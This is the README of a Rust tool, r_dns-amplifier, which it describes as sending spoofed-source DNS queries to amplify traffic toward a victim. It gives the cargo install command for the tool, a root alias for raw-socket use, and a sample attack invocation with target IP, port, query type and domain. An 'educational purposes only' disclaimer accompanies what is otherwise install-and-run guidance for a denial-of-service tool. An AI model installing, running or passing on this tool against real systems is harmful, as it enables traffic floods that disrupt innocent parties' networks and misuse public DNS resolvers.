r_dns-amplifier

r_dns-amplifier is a Rust script that performs DNS amplification attacks. It sends DNS queries to a target server with a spoofed source IP address, causing the target server to send a large amount of DNS response data to the spoofed IP address, thus amplifying the traffic. Please note that performing DNS amplification attacks is illegal and can cause harm to innocent parties. This code is provided for educational purposes only and should not be used for any malicious activities. The author of this code is not responsible for any harm caused by the misuse of this code.

Requirements

The script requires Rust to be installed.

Install

You can install the script globally using the cargo package manager by running:

cargo install --git https://github.com/cavoq/r_dns-amplifier.git --branch master

You may also need some additional libs:

sudo apt-get install pkg-config libssl-dev

Because this script uses raw sockets it requires root privileges, you need to set an alias and run the script like this if you don't want to specify the full path:

echo "alias sudo-rdns='sudo env \"PATH=$PATH\" r_dns-amplifier'" >> ~/.bashrc && source ~/.bashrc

Note: Instead of r_dns-amplifier you call sudo-rdns

Usage

Example usage with global install:

sudo-rdns 192.168.2.1 80 -r ANY -d google.com

You can also run this script by building it directly after cloning:

cargo build --release
